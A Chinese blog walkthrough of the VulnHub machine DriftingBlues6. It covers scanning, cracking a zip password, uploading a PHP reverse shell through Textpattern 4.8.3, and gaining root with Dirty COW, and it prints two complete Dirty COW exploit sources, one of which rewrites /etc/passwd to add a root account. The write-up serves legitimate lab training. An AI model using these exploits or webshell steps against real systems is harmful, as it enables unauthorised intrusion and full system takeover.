靶机渗透练习06-driftingblues6

本文详述了一次靶机攻防演练的过程,从网络扫描(包括arp-scan、masscan、netdiscover和nmap)发现靶机并识别开放端口,枚举漏洞,利用TextPattern CMS的版本漏洞,上传webshell获取shell,到最后利用脏牛漏洞实现权限提升,获取root权限。整个过程展示了信息安全实践中常用工具和技术的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

靶机描述

靶机地址:https://www.vulnhub.com/entry/driftingblues-6,672/

Description

get flags

difficulty: easy

about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.28

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220220171414175

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充
2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

☁  kali  nmap -A -sV -T4 -p- 192.168.9.28
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-20 17:14 CST
Nmap scan report for 192.168.9.28
Host is up (0.00050s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/textpattern/textpattern
|_http-title: driftingblues
|_http-server-header: Apache/2.2.22 (Debian)
MAC Address: 08:00:27:D9:5B:D8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.50 ms 192.168.9.28

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.05 seconds

80—http—Apache httpd 2.2.22 ((Debian))

2.2枚举漏洞

80 端口分析

访问 80 端口

[外链图片转存中…(img-d6gHFdF3-1649916405879)]

查看一下源代码

image-20220220171634045

扫描一下目录dirsearch -u http://192.168.9.28/

image-20220220171759024

访问:http://192.168.9.28/robots.txt

image-20220220171840983

访问:http://192.168.9.28/textpattern/textpattern/

image-20220220171954307

可知CMS是 textpattern

kali本地搜索一下: searchsploit textpattern

image-20220220172059809

可利用的有点多,但是CMS版本不知道

咱们继续扫一下

gobuster dir --url 192.168.9.28 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,zip,bak,php

image-20220221011104294

除了/robots.txt发现了/spammer.zip

下载到本地,尝试打开发现有密码
image-20220221011250635

将压缩包中的 hash 提取出来转为 john 识别的格式然后保存为文件

image-20220221011441922

使用 john 开始破解:john --wordlist=/usr/share/wordlists/rockyou.txt hash

image-20220221011511654

成功拿到密码myspace4

解压文件后,打开文件后查看文件内容得到账户密码mayer:lionheart

2.3漏洞利用

2.3.1 登陆后台获取版本号

登陆网站

image-20220221011745928

image-20220221011803361

登录进去后再页脚发现了CMS的版本为4.8.3

image-20220221011840605

kali本地搜索漏洞:searchsploit textpattern 4.8.3

image-20220221011932621

尝试利用一下其中的模块

image-20220221012719545

image-20220221012730972

2.3.2 后台上传后门 getshell

既然模块没法利用,继续在后台页面进行寻找可利用的

image-20220221012905490

在这里找到可以上传

咱们上传kali本地webshell

image-20220221013215668

成功上传后,没有显示路径,在管理界面找到了上传文件的路径

image-20220221013353263

浏览器访问:http://192.168.9.28/textpattern/files/php-reverse-shell.php

kali监听:nc -lvp 6666

image-20220221013717901

成功拿到shell

使用 python 切换为 bash:python -c 'import pty; pty.spawn("/bin/bash")'

2.4权限提升

2.4.1 本地提权

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

www-data@driftingblues:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/bin/ping
/bin/mount
/bin/umount
/bin/su
/bin/ping6

https://gtfobins.github.io/没有任何发现

咱们利用一下linpeas.sh信息收集一波

kali上开启http服务,python -m http.server 88

在目标靶机上下载linpeas.sh

image-20220221014720885

搜索漏洞:searchsploit linux 3.2.0-4

image-20220221014836557

发现经典脏牛searchsploit Dirty COW

image-20220221015028529

咱们查看一下40838.c文件内容

// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
#include <fcntl.h>                        //// pikachu
#include <pthread.h>                      //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include <string.h>                       //// pokeball
#include <stdio.h>                        ////    (___)
#include <stdint.h>                       ////    (o o)_____/
#include <sys/mman.h>                     ////     @@ `     \
#include <sys/types.h>                    ////      \ ____, /miltank
#include <sys/stat.h>                     ////      //    //
#include <sys/wait.h>                     ////     ^^    ^^
#include <sys/ptrace.h>                   //// mmap bc757000
#include <unistd.h>                       //// madvise 0
////////////////////////////////////////////// ptrace 0
////////////////////////////////////////////// miltank
//////////////////////////////////////////////
int f                                      ;// file descriptor
void *map                                  ;// memory map
pid_t pid                                  ;// process id
pthread_t pth                              ;// thread
struct stat st                             ;// file info
//////////////////////////////////////////////
void *madviseThread(void *arg)             {// madvise thread
  int i,c=0                                ;// counters
  for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
    c+=madvise(map,100,MADV_DONTNEED)      ;// race condition
  printf("madvise %d\n\n",c)               ;// sum of errors
                                           }// /madvise thread
//////////////////////////////////////////////
int main(int argc,char *argv[])            {// entrypoint
  if(argc<3)return 1                       ;// ./d file contents
  printf("%s                               \n\
   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\
", argv[1], argv[2])                       ;// dirty cow
  f=open(argv[1],O_RDONLY)                 ;// open read only file
  fstat(f,&st)                             ;// stat the fd
  map=mmap(NULL                            ,// mmap the file
           st.st_size+sizeof(long)         ,// size is filesize plus padding
           PROT_READ                       ,// read-only
           MAP_PRIVATE                     ,// private mapping for cow
           f                               ,// file descriptor
           0)                              ;// zero
  printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
  pid=fork()                               ;// fork process
  if(pid)                                  {// if parent
    waitpid(pid,NULL,0)                    ;// wait for child
    int u,i,o,c=0,l=strlen(argv[2])        ;// util vars (l=length)
    for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
      for(o=0;o<l;o++)//////////////////////// repeat for each byte
        for(u=0;u<10000;u++)////////////////// try 10K times each time
          c+=ptrace(PTRACE_POKETEXT        ,// inject into memory
                    pid                    ,// process id
                    map+o                  ,// address
                    *((long*)(argv[2]+o))) ;// value
    printf("ptrace %d\n\n",c)              ;// sum of error code
                                           }// otherwise
  else                                     {// child
    pthread_create(&pth                    ,// create new thread
                   NULL                    ,// null
                   madviseThread           ,// run madviseThred
                   NULL)                   ;// null
    ptrace(PTRACE_TRACEME)                 ;// stat ptrace on child
    kill(getpid(),SIGSTOP)                 ;// signal parent
    pthread_join(pth,NULL)                 ;// wait for thread
                                           }// / child
  return 0                                 ;// return
                                           }// / entrypoint
//////////////////////////////////////////////

上传靶机后,进行编译运行

gcc -pthread 40838.c -o d
./d pokeball miltank

image-20220221015550129

利用失败

咱们换40839.c

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

上传文件后,编译运行

gcc -pthread 40839.c -o dirty -lcrypt
./dirty

image-20220221020012371

显示成功,会增加一个 root 账户:firefart,密码是 123456

咱们切换一下用户,发现成功拿到root权限,并在root目录下找到flag

image-20220221020222212

总结

本节通过目录扫描获取重要文件,进而获取网站用户名密码,然后通过上传 web 后门获取shell,最后使用脏牛漏洞提权。

  1. 目录扫描 gobuster
  2. 信息收集获取敏感文件
  3. zip2john 提取 hash
  4. John 破解 hash
  5. searchsploit 工具的用法
  6. 上传 web 后门
  7. 脏牛漏洞提权
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hirak0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值